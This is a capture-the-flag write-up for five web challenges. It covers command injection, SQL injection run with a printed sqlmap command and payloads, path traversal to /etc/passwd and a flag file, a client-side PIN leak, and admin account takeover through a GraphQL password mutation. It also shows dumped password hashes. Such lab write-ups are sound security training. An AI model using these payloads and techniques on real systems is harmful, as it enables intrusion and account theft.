web
Gunhead
Solved by Legend
Challenge description
During Pandora’s training, the Gunhead AI combat robot had been tampered with and was now malfunctioning, causing it to become uncontrollable. With the situation escalating rapidly, Pandora used her hacking skills to infiltrate the managing system of Gunhead and urgently needs to take it down.
We are provided with a URL and docker file for the challenge.
The website running showing the status report of the combat robot along with a command prompt to run some commands.
Going through the docker file I found a hint.
Here shell_exec
is running which runs a command in a shell and returns the result of the output. And the hint suggested that it’s not sanitized so we can try to escape it and run shell commands.
It worked. So now we can simply read the flag.
Drobots
Solved by Legend
Challenge description
Pandora’s latest mission as part of her reconnaissance training is to infiltrate the Drobots firm that was suspected of engaging in illegal activities. Can you help pandora with this task?
In this challenge the website is showing a login page.
Since no other info was there or in the source code of the page I checked the docker config file.
The website is a Flask
application running on MySQL
so I thought of SQL Injection cand be done. Here I found interesting thing that in config.py
file they have provided the database information.
Also in the database.py
also they have given the hint that the input is not sanitized.
The logic of the database is that we need the token
of the password to login. So if we can find the token we can login.
Then I saved the login request and gave it to sqlmap
though which I was able to extract the details.
sqlmap -r ./req --dbms=mysql -D drobots -T users --dump
---
Parameter: JSON username ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: {"username":"a"="a" AND (SELECT 5866 FROM(SELECT COUNT(*),CONCAT(0x7162717071,(SELECT (ELT(5866=5866,1))),0x716a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND "a"="a","password":"a"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"username":"a"="a" AND (SELECT 4022 FROM (SELECT(SLEEP(5)))iMan) AND "a"="a","password":"a"}
---
+----+----------------------------------+----------+
| id | password | username |
+----+----------------------------------+----------+
| 1 | 67772d6e54bc393a6f67e16bac3f83da | admin |
+----+----------------------------------+----------+
Once logged in we get the flag.
Orbital
Solved by Legend
Challenge description
In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities - a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?
In this challenge also a login page is their.
And with no user info or details in source code I checked the docker files.
This challenge is similar to the Drobots
challenge. It’s running Flask
application with MySQL
. So I looked into the docker file.
The config.py
contains the database config info.
And database.py
contain the database logic along with the hint but it is modified a little.
This time the password
is getting verified with passwordVerify
.
I again saved the request and gave it to sqlmap
which gave me the token and also bruteforced the password.
sqlmap -r ./req --dbms=mysql -D orbital -T users --dump
---
Parameter: JSON username ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: {"username":"a"="a" AND (SELECT 2720 FROM(SELECT COUNT(*),CONCAT(0x716a7a6271,(SELECT (ELT(2720=2720,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND "a"="a","password":"a"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"username":"a"="a" AND (SELECT 1000 FROM (SELECT(SLEEP(5)))dfxy) AND "a"="a","password":"a"}
---
+----+-------------------------------------------------+----------+
| id | password | username |
+----+-------------------------------------------------+----------+
| 1 | 1692b753c031f2905b89e7258dbc49bb (ichliebedich) | admin |
+----+-------------------------------------------------+----------+
Now once logged in the functionality of the website was different.
Now I checked the routes.py
file which contained a logic of the application. Here in the logic of communication the hint was given that the file escape for characters are not there for the filename.
Then I tried the path traversal to get the /etc/passwd
file. It worked.
For this challenge they changed the location of the flag name from flag.txt
to signal_sleuth_firmware
in root which is written in the docker config.
COPY flag.txt /signal_sleuth_firmware
Now we need to get the flag.
Trapped Source
Solved by Starry-Lord
When we open the devtools and check the network tab, we can already catch a script.js:
script.js content:
currentPin = []
const checkPin = () => {
pin = currentPin.join('')
if (CONFIG.correctPin == pin) {
fetch('/flag', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
'pin': CONFIG.correctPin
})
})
.then((data) => data.json())
.then((res) => {
$('.lockStatus').css('font-size', '8px')
$('.lockStatus').text(res.message)
})
return
}
$('.lockStatus').text('INVALID!')
setTimeout(() => {
reset()
}, 3000)
}
const unlock = (pin) => {
currentPin.push(pin)
if (currentPin.length > 4) return
$('.lockStatus').text(currentPin.join(' '))
}
const reset = () => {
currentPin.length = 0
$('.lockStatus').css('font-size', 'x-large')
$('.lockStatus').text('LOCKED')
}
We can see some code that checks for a 4 digit pin and fetches the flag, depending on the pin being equal to the value of “CONFIG.correctPin” or not. Switching to the console, we can try and log the “CONFIG”, to see what comes back:
Typing the correct pin and pressing enter returns our flag:
Passman
Solved by Starry-Lord
This app meets us with another login page, where we can also register an account.
Checking the network tab actually showed a familiar name:
We can go to https://ivangoncharov.github.io/graphql-voyager/ in order to grab the infamous introspection query for graphql, which essentially returns all the content of the graphql schema. Click on “change schema”, then select the introspection tab and click on “Copy Introspection Query” to get the query to your clipboard.
Now we need to send it to this graphql endpoint but since its set to accept strings, we need to get rid of the new lines:
Then sending the request through BurpSuite’s repeater tab to the /graphql endpoint returns the full introspection as expected:
With this data, we can go back to the graphql voyager tool and paste it in the box below the “Copy introspection query” button. This will give us a good sense of what data is built into this endpoint:
There’s nothing much about this Query, except returning the phrases owned by the logged user. But there were actual “Mutation” queries used when logging in, registering a new user, or adding a new phrase. It turned out there was another function (or mutation) allowing us to change a supplied user password, which seems like a bad thing to leave laying around unused.
UpdatePassword was the ticket to the flag, but first we needed to syntax it properly. I gladly used the content of the login graphql request shown below:
From there it was just a matter of editing the request properly and updating the admin password with a cool password:
After logging in with the admin account and the new password, we can see the flag in the password of the note:
HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}